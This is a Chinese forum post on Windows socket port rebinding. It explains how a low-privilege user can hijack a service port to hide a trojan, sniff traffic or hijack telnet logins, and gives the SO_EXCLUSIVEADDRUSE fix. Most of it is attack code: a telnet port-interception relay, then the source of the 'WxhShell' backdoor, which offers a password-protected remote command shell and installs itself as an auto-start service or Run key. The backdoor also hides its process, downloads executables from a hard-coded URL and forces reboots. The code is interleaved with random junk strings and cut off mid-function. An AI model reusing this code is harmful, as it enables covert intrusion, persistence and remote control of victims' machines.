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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nF1}?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >}H3V]  
T"_f9?  
  saddr.sin_family = AF_INET; Wd>gOE  
nVyV]'-z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &RB{0Qhx  
W!Fu7a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )=TS)C4  
F<0GX!p4u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .o(S60iH!(  
.dPy<6E  
  这意味着什么?意味着可以进行如下的攻击: sD=iHO Am  
Eg+ z(m$M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v{8W+  
AFdBf6/" i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =wquFA!c  
jJqq:.XqB8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 / n@by4;W  
l1UN.l'p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '*=kt  
wOV}<.W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jI!WE$dt  
_1ax6MwX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K<E|29t^k  
7El:$H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uRnSwJ"hE  
~y" ^t@!E  
  #include I* 4g ;1x  
  #include M32Z3<  
  #include eh /QFm 4  
  #include    o 2_mcJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <sor;;T  
  int main() wS;hC&~2  
  { N VBWF  
  WORD wVersionRequested; VRA0p[  
  DWORD ret; + 0 |d2_]E  
  WSADATA wsaData; Om5+j:YM  
  BOOL val; XK,l9 {*  
  SOCKADDR_IN saddr; NsF8`r g  
  SOCKADDR_IN scaddr; 4h$W4NJK  
  int err; bR}=bp4K  
  SOCKET s; )uazB!X  
  SOCKET sc; !cA4erBP  
  int caddsize; dPb@[k  
  HANDLE mt; hM[QR'\QS  
  DWORD tid;   &uLC{Ik}  
  wVersionRequested = MAKEWORD( 2, 2 ); ~T:L0||.%9  
  err = WSAStartup( wVersionRequested, &wsaData ); ";*Iwd*V  
  if ( err != 0 ) { ]#P>wW  
  printf("error!WSAStartup failed!\n"); 0Q5fX}  
  return -1; ;To][J  
  } +&qj`hA-b  
  saddr.sin_family = AF_INET; U( (F<  
   B`/p[U5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W8Aii'Q8C/  
zOT(>1'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a[ A*9%a  
  saddr.sin_port = htons(23); X~> 2iL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -=VGXd  
  { gF8n{b  
  printf("error!socket failed!\n"); Y4,LXuQ  
  return -1; ]x^v;r~  
  } +@jX|  
  val = TRUE; #7"*Pxb#A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PNG!q}(c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \Ss6F]K]  
  { $^louas&  
  printf("error!setsockopt failed!\n"); xq\A TON  
  return -1; &C6Z{.3V  
  } | x/Z qY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x$;kA}gy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !)+8:8H'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zqs|~W]c  
1jkMje  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n Wb0S  
  { yp\s Jc`  
  ret=GetLastError(); e sDd>W  
  printf("error!bind failed!\n"); uBqZ62{G  
  return -1; 1@ .Eh8y  
  } ~|.vz!A  
  listen(s,2); %:vMD  
  while(1) ' Y cVFi  
  { gbL!8Z1h  
  caddsize = sizeof(scaddr); ^Uq"hT(41  
  //接受连接请求 ,/6 aA7(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8}<4f|?  
  if(sc!=INVALID_SOCKET) '/ v@q]!  
  { -3T~+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \'.#of  
  if(mt==NULL) TaTs-]4  
  { 5*IfI+}  
  printf("Thread Creat Failed!\n"); h4lrt  
  break; ncCgc5uP  
  } }J-+^  
  } mOE%:xq9-  
  CloseHandle(mt); i_kKE+Q  
  } b$k|D)_|  
  closesocket(s); ,sln0  
  WSACleanup(); eh5j  
  return 0; YNV4'  
  }   +?[,{WtV  
  DWORD WINAPI ClientThread(LPVOID lpParam) i1k#WgvZR  
  { csNB  \  
  SOCKET ss = (SOCKET)lpParam; K6X}d,g  
  SOCKET sc; d]<S/D'i  
  unsigned char buf[4096]; Ln C5"  
  SOCKADDR_IN saddr; 6x8P}?  
  long num; v(vJ[_&%  
  DWORD val; mf\eg`'4?  
  DWORD ret; = gbB)u-Pc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TE!+G\@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o2 vBY]Tj  
  saddr.sin_family = AF_INET; klwNeGF]N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  a }m>  
  saddr.sin_port = htons(23); :\<D q 71  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y&JK*d  
  { "x P2GZ  
  printf("error!socket failed!\n"); 1QPS=;|)  
  return -1; 4UV<Q*B\F  
  } @;K-@*k3  
  val = 100; %zCV>D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7\xGMCctM  
  { O<EFm}Ae  
  ret = GetLastError(); A;\1`_i0  
  return -1; E)}& p\{E  
  } Z2cumx(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]/klKqz  
  {  o<Z  
  ret = GetLastError(); 8\H*Z2yF+  
  return -1; `HO_t ek  
  } Ub_!~tb}?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o&Vti"fpC  
  { 2uln)]  
  printf("error!socket connect failed!\n"); XVwJr""+  
  closesocket(sc); k(bDj[0q^  
  closesocket(ss); ^KRe(  
  return -1; ]QbT%0  
  } d)yu`U  
  while(1) rUL_=>3  
  { {k"t`uo_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U-mZO7y!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (<ZpT%2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )A1u uW (  
  num = recv(ss,buf,4096,0); (Q4hm]<  
  if(num>0) HkL`- c0  
  send(sc,buf,num,0); R|u2ga ~  
  else if(num==0) SE7mn6,%\  
  break; F).7%YfY  
  num = recv(sc,buf,4096,0); ZCC T  
  if(num>0) #q mv(VB4  
  send(ss,buf,num,0); =Sp+$:q*  
  else if(num==0) 9(AY7]6  
  break; !-cK@>.pE  
  } <<M1:1  
  closesocket(ss); JV`"kk/  
  closesocket(sc); hC D6  
  return 0 ; "pInb5F  
  } m<liPl uv  
>.o<}!FW  
\~BYY|UB;W  
========================================================== kuI$VC  
!+V."*]l  
下边附上一个代码,,WXhSHELL =!N,{V_  
Xf%vfAf  
========================================================== ]]eI80u[  
>z|bQW#2  
#include "stdafx.h" 3'z L,WW  
Memb`3  
#include <stdio.h> "~:P-]`G  
#include <string.h> ^9zlxs`<d  
#include <windows.h> *ORa@ x  
#include <winsock2.h> | <bZ*7G  
#include <winsvc.h> B".3NQ  
#include <urlmon.h> m`9P5[m#x>  
JE_GWgwdv  
#pragma comment (lib, "Ws2_32.lib") #9rCF 3P  
#pragma comment (lib, "urlmon.lib") 8'-E>+L   
Uo0[ZsFD  
#define MAX_USER   100 // 最大客户端连接数 UXPF"}S2  
#define BUF_SOCK   200 // sock buffer XYze*8xUb  
#define KEY_BUFF   255 // 输入 buffer )u=46EU_  
E^C [G)7n  
#define REBOOT     0   // 重启 sp7#e%R\  
#define SHUTDOWN   1   // 关机 (G 9Ku 8Y  
g>n1mK|  
#define DEF_PORT   5000 // 监听端口 ch)#NHZ9F  
97n,^t2F\  
#define REG_LEN     16   // 注册表键长度 D6:"k 2  
#define SVC_LEN     80   // NT服务名长度 k8w:8*y'.  
vFK!LeF%  
// 从dll定义API {W%/?d9m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i)[~]D.EH8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6BObV/S Jg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7!q.MOYm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /H$/s=YU\U  
]64?S0p1c!  
// wxhshell配置信息 puK /;nns  
struct WSCFG { p}lFV,V  
  int ws_port;         // 监听端口 V3[>^ZCA  
  char ws_passstr[REG_LEN]; // 口令 /S`d?AV  
  int ws_autoins;       // 安装标记, 1=yes 0=no h"(HDnq  
  char ws_regname[REG_LEN]; // 注册表键名 _j?/O)M c  
  char ws_svcname[REG_LEN]; // 服务名 N  Bpf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _;u@xl=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !po29w:S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FQw@ @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W_ubgCB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /@9-D 4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "uD^1'IW2  
?Q/9aqHe;  
}; H:`[$ ^  
T^.W'  
// default Wxhshell configuration LE@`TPg$R  
struct WSCFG wscfg={DEF_PORT, Y?V>%eBu  
    "xuhuanlingzhe", &&($LnyA]  
    1, Hh0a\%!  
    "Wxhshell", 28d=-s=[  
    "Wxhshell", dS"%( ?o  
            "WxhShell Service", Hv<jf38  
    "Wrsky Windows CmdShell Service", \7A6+[ `fa  
    "Please Input Your Password: ", 2z[A&s_  
  1, 2B&|0&WI  
  "http://www.wrsky.com/wxhshell.exe", ^n8r mh_%  
  "Wxhshell.exe" O)9{qU:[b  
    }; ?#_]Lzn'  
\k)(:[^FY  
// 消息定义模块 PH3#\ v.   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mqb6MnK -  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \ D,c*I|p7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {h *Pkn1  
char *msg_ws_ext="\n\rExit."; 7cMSJM(]G  
char *msg_ws_end="\n\rQuit."; x1{gw 5:  
char *msg_ws_boot="\n\rReboot..."; _ya_Jf*  
char *msg_ws_poff="\n\rShutdown..."; f S(IN~  
char *msg_ws_down="\n\rSave to "; 8^%Nl `_2B  
'{xPdN  
char *msg_ws_err="\n\rErr!"; yZ]u{LJS  
char *msg_ws_ok="\n\rOK!"; TEi~X 2u  
6_h'0~3?`  
char ExeFile[MAX_PATH]; GV T[)jS  
int nUser = 0; Z/hgr|&}  
HANDLE handles[MAX_USER]; _}(ej&'f  
int OsIsNt; Yx{qVU  
>|@i8?|E  
SERVICE_STATUS       serviceStatus; amH..D7_>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0xQ="aXE  
8e3I@mv  
// 函数声明 8Cw+<A*  
int Install(void); v8!Ts"  
int Uninstall(void); ,aBo p#  
int DownloadFile(char *sURL, SOCKET wsh); :v>Nz7SB  
int Boot(int flag); d`+@ _)ea  
void HideProc(void); w`$M}oX(  
int GetOsVer(void); fyE#8h_>4  
int Wxhshell(SOCKET wsl); x<es1A'u6  
void TalkWithClient(void *cs); o6[aP[~F  
int CmdShell(SOCKET sock); vz-O2B_u  
int StartFromService(void); k6?;D_dm  
int StartWxhshell(LPSTR lpCmdLine); 3pF7} P  
%!X|X,b^O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z>si%Npm\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ob#d;F  
}; ;Thfd  
// 数据结构和表定义 iir]M`A.-  
SERVICE_TABLE_ENTRY DispatchTable[] = GZwz4=`  
{ hmQ;!9  
{wscfg.ws_svcname, NTServiceMain}, ,p\:Z3{ZH  
{NULL, NULL} -FGQn |h4  
}; |r%NMw #y  
34gC[G=  
// 自我安装 r$ 8 ^K\oF  
int Install(void) 3\B 28m  
{ ;qN;oSK  
  char svExeFile[MAX_PATH]; Sd |=*X  
  HKEY key; qG<3H!Z!ky  
  strcpy(svExeFile,ExeFile); zvgy$]y'\  
CVy\']  
// 如果是win9x系统,修改注册表设为自启动 Ap<kK0#h  
if(!OsIsNt) { lIUaGz|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ni gn" r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o<8('j   
  RegCloseKey(key); \~!!h.xR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]~K&b96(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MOia] 5  
  RegCloseKey(key); d^(7\lw|  
  return 0; /L yoTBG  
    } e"D%eFkDW  
  } 6Lb(oY}\3  
} 2t,N9@u=UN  
else { !Soz??~o/  
bpx ^  
// 如果是NT以上系统,安装为系统服务 yCvP-?2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n(h9I'V8)F  
if (schSCManager!=0) ~~\C.6c#  
{ F(?O7z"d  
  SC_HANDLE schService = CreateService |ns B'Q  
  ( [p+-]V  
  schSCManager, .C*mDi)wZ  
  wscfg.ws_svcname, ~jR4%VF  
  wscfg.ws_svcdisp, ZQk!Ia7  
  SERVICE_ALL_ACCESS, D 0 O^=v|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4=~+B z  
  SERVICE_AUTO_START, "P9(k>  
  SERVICE_ERROR_NORMAL, 1.tAl6]  
  svExeFile, 2Onp{,'}  
  NULL, f OasX!=  
  NULL, @tvz9N  
  NULL, nSv@FT'~z  
  NULL, ZfMs6`Wv 1  
  NULL hp1+9vEN  
  ); l+a1`O  
  if (schService!=0) =(]Z%Q-V  
  { V,h}l"  
  CloseServiceHandle(schService); '^.`mT'P  
  CloseServiceHandle(schSCManager); Obf RwZh?q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'Qh1$X)R7a  
  strcat(svExeFile,wscfg.ws_svcname); 7 x'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KdBpfPny@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6CCm1F{`  
  RegCloseKey(key); M#_|WL~  
  return 0; 4{@{VsXN  
    } 3K=%I+G(4  
  } B<Q)z5KK  
  CloseServiceHandle(schSCManager);  k^Q.lb {  
} 3vs{*T"  
} f"*k>=ETI  
g/FZ?Wo  
return 1; wRvh/{xB  
} z2>LjM) #  
v\[+  
// 自我卸载 .g3=L  
int Uninstall(void) RA!q)/ +  
{ GsmXcBzDw2  
  HKEY key; Khb Ku0Z  
R G*Vdom  
if(!OsIsNt) { jsQHg2Vd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?ac4GA(  
  RegDeleteValue(key,wscfg.ws_regname); =W &Mt  
  RegCloseKey(key); QgI[#d{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X$;&Mdo.  
  RegDeleteValue(key,wscfg.ws_regname); m8=n`XI  
  RegCloseKey(key); 8qqN0"{,  
  return 0; }jUsv8`}8R  
  } M.K^W`  
} {l)$9!  
} *f3StX  
else { ei<0,w[V1{  
qm3H/cC9+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oNtoqYwH  
if (schSCManager!=0) Kv(R|d6Lp  
{ {"+M%%`*#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \XPGA uEo  
  if (schService!=0) @zC6`  
  { f4fBUZ^ A  
  if(DeleteService(schService)!=0) { s/=%kCo  
  CloseServiceHandle(schService); [lg!*  
  CloseServiceHandle(schSCManager); KW(a@X  
  return 0; VJ=>2'I  
  } %rMCiz  
  CloseServiceHandle(schService); fO$){(]^  
  } $'%GB $.  
  CloseServiceHandle(schSCManager);  v&|65[<  
} !uQT4< g  
} t&xoi7!$  
~g\~x  
return 1; oX;.v9a  
} E?G'F3i  
=w! ik9  
// 从指定url下载文件 vY-CXWC7  
int DownloadFile(char *sURL, SOCKET wsh) *^uK=CH1?(  
{ _"ciHYHBQ  
  HRESULT hr; jZ |M$I3*  
char seps[]= "/"; @QQ%09*  
char *token; Qz,2PO  
char *file; 8u2k-_9  
char myURL[MAX_PATH]; b)<WC$"  
char myFILE[MAX_PATH]; F#gA2VCm  
Jv8:GgSg  
strcpy(myURL,sURL); z_!IA ] v  
  token=strtok(myURL,seps); F(yR\)!C  
  while(token!=NULL) n@8Y6+7i  
  { =I`S7oF  
    file=token; ~;3yjO)l?)  
  token=strtok(NULL,seps); 2%sZaM  
  } taE p   
,*J@ic7"  
GetCurrentDirectory(MAX_PATH,myFILE); {  c#US  
strcat(myFILE, "\\"); YGJ!!(~r  
strcat(myFILE, file); @."K"i'Bl  
  send(wsh,myFILE,strlen(myFILE),0); C2}y#AI  
send(wsh,"...",3,0); -G.N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~HB#7+b  
  if(hr==S_OK) DK74s  
return 0; wa8jr5/k"  
else KL'1)G"OH  
return 1; M-nRhso  
9"S2KT@8  
} ZAr6RRv ^  
p AOKy  
// 系统电源模块 .;4N:*hY  
int Boot(int flag) V vrsf6l]  
{ |dgiW"tUm  
  HANDLE hToken; _ LHbP=B  
  TOKEN_PRIVILEGES tkp; wH ,PA:  
<D.E .^Y  
  if(OsIsNt) { ` IVQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mt4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k+9F;p7  
    tkp.PrivilegeCount = 1; \p(S4?I7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IU8zidn&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2nyK'k  
if(flag==REBOOT) { Gd 4S7JE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) th{f|fm62  
  return 0; /(^-= pAX  
} uVqc:Q"  
else { zDdo RK@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *|y'%y  
  return 0; nX!%9x$3  
} 4mDHAR%D  
  } PA^*|^;Xh  
  else { o DZZ  
if(flag==REBOOT) { :zU4K=kR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8'Q+%{?1t  
  return 0; jwk+&S  
} u.2X "  
else { (d &" @  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -U2Su|:\N8  
  return 0; &MX&5@ Vu  
} cIO/8D#zU  
} Nf4@m|#  
s]m]b#1!r  
return 1; TIp\-  
} vu.ug$T  
9BakxmAc  
// win9x进程隐藏模块 \*MZ 1Q*x  
void HideProc(void) ]4t1dVD  
{ iYLg[J"  
gX!K%qJBg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D!* SA  
  if ( hKernel != NULL ) #sU>L=  
  { Ge)G.>c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3SY1>}(Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w8+ phN(-M  
    FreeLibrary(hKernel); ` &=%p|  
  } 9vi+[3s/=;  
!v3d:n\W8  
return; "A[. 7w  
} <1vogUDW  
sB0]lj-[Un  
// 获取操作系统版本 +sx(q@  
int GetOsVer(void) :2 \NG}  
{ <YCjo[(~  
  OSVERSIONINFO winfo; k Jz^\Re  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #F/W_G7v  
  GetVersionEx(&winfo); *[>{ 9V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fhk(<KZvJ  
  return 1; aAcQmq TT  
  else "'+/ax[{  
  return 0; )[99SM   
} *k\ ;G?  
bz:En'2>F  
// 客户端句柄模块 8I*yS#  
int Wxhshell(SOCKET wsl) f/ 3'lPK^  
{  <}^p5|  
  SOCKET wsh; nF-l4=  
  struct sockaddr_in client; pw))9~XU  
  DWORD myID; ZkibfVwe  
UN<$F yb  
  while(nUser<MAX_USER) V%*91t_  
{ _or_Vw!  
  int nSize=sizeof(client); (R s;+S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uKY1AC__  
  if(wsh==INVALID_SOCKET) return 1; Ct(^nn$A  
uv$utu>< *  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x[&)\[t  
if(handles[nUser]==0) {Zs EYUP  
  closesocket(wsh); 0W 1bZPM  
else }L`Z<h*H  
  nUser++; tPk> hzW  
  } IUWJi\,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8XCT[X  
2Z9ck|L>  
  return 0; iDCQqj`  
} 1n)YCSA  
1k%HGQM{  
// 关闭 socket }_}LaEYAo  
void CloseIt(SOCKET wsh) d_[ zt)  
{ T7Y+ WfYh  
closesocket(wsh); qus%?B{b}  
nUser--; R-k~\vCW  
ExitThread(0); Yi`DRkp]3  
} nWd;XR6|  
kK&AK2  
// 客户端请求句柄 M"Y ,kA|+  
void TalkWithClient(void *cs) U @}r?!)"f  
{ .8|"@  
xjYH[PgfX  
  SOCKET wsh=(SOCKET)cs; R_80J=%0  
  char pwd[SVC_LEN]; d|sf2   
  char cmd[KEY_BUFF]; *]Eyf")  
char chr[1]; Q0XSQOl  
int i,j; #8WHIDS>  
4`sW_ ks  
  while (nUser < MAX_USER) { "`KT7  
UD&pL'{s  
if(wscfg.ws_passstr) { 0 \1g-kc!v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d(vt0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XCGK&O GI  
  //ZeroMemory(pwd,KEY_BUFF); I#(?xHx  
      i=0; WuQ;Da0+_F  
  while(i<SVC_LEN) { XS>( Bu  
5',&8  
  // 设置超时 K;R!>p}t  
  fd_set FdRead; S<I9`k G  
  struct timeval TimeOut; h\6 t\_^\  
  FD_ZERO(&FdRead); bc6|]kB:  
  FD_SET(wsh,&FdRead); ddlF4L_  
  TimeOut.tv_sec=8; "!#KQ''R  
  TimeOut.tv_usec=0; qjN*oM,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m*14n_m'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b~!Q3o'W  
>4?735f=x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Upc_"mkI.  
  pwd=chr[0]; O}z-g&e.U  
  if(chr[0]==0xd || chr[0]==0xa) { s[t?At->  
  pwd=0; As|e=ut(  
  break; v|rBOv  
  } >B$B|g~  
  i++; |u#7@&N1  
    } "6i3'jc`  
HDj260a  
  // 如果是非法用户,关闭 socket Upz?x{>x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8-x)8B  
} Bk/&H-NI  
wAc;{60s]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {vp*m :K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I{=Yuc  
fg4mP_  
while(1) { 3cF8DNh  
a4pewg'  
  ZeroMemory(cmd,KEY_BUFF); `\f 3Ij,  
}b/P\1#z  
      // 自动支持客户端 telnet标准   kT:I.,N   
  j=0; qw{`?1[+  
  while(j<KEY_BUFF) { SYa O'c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mi[8O$^iJ  
  cmd[j]=chr[0]; w^U{e xo  
  if(chr[0]==0xa || chr[0]==0xd) { F~eY'~&H}  
  cmd[j]=0; M=3gV?N  
  break; ;a| ~YM2I  
  } Je}0KW3G9L  
  j++; dFy GI?  
    } ~S\> F\v6'  
|gIE$rt-~W  
  // 下载文件 5JHEBw5W%  
  if(strstr(cmd,"http://")) { n>w<vM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $sS~hy*  
  if(DownloadFile(cmd,wsh)) V@[C=K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6q6xqr:W  
  else p4 =/rkq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >##Z}auY  
  } YV!hlYOBi  
  else { =E<H_cUS  
EC 1|$Co  
    switch(cmd[0]) { @bJIN]R  
  zo8D"  
  // 帮助 M&/%qF15  
  case '?': { @&Bh!_TWc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kguZAO6  
    break; dvU{U@:sz  
  } Q$v00z]f*  
  // 安装 *mbzK*  
  case 'i': { ft$RF  
    if(Install()) p4*L}Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ikw@B)0}  
    else Fxc_s/^=t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O9ps?{g  
    break; n:P:im?,y*  
    }  @O koT:  
  // 卸载 W\NC3]  
  case 'r': { c!/ +0[  
    if(Uninstall()) {:|3V 7X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ir/uHN@  
    else e6Y>Bk   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w.a9}GC  
    break; XUA@f*  
    } sQac%.H;`U  
  // 显示 wxhshell 所在路径 %l!?d`?  
  case 'p': { V5z2.} 'o-  
    char svExeFile[MAX_PATH]; j~G(7t  
    strcpy(svExeFile,"\n\r"); ^n(FO,8c  
      strcat(svExeFile,ExeFile); UaF~[toX  
        send(wsh,svExeFile,strlen(svExeFile),0); .8u@/f%pV  
    break; YLGE{bS  
    } hHU=lnO  
  // 重启 tVEe)QX  
  case 'b': { XhHgXVVGG<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :sJ7Wok6~  
    if(Boot(REBOOT))  }o*A>le  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rR-[CT  
    else { 1o%#kf  
    closesocket(wsh); TZ5TkE;1  
    ExitThread(0); uC^)#Y\"  
    } 3HpqMz  
    break; c 'wRGMP  
    } HS/.H,X  
  // 关机 s@@Km1w  
  case 'd': { w\o6G7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '-YiV  
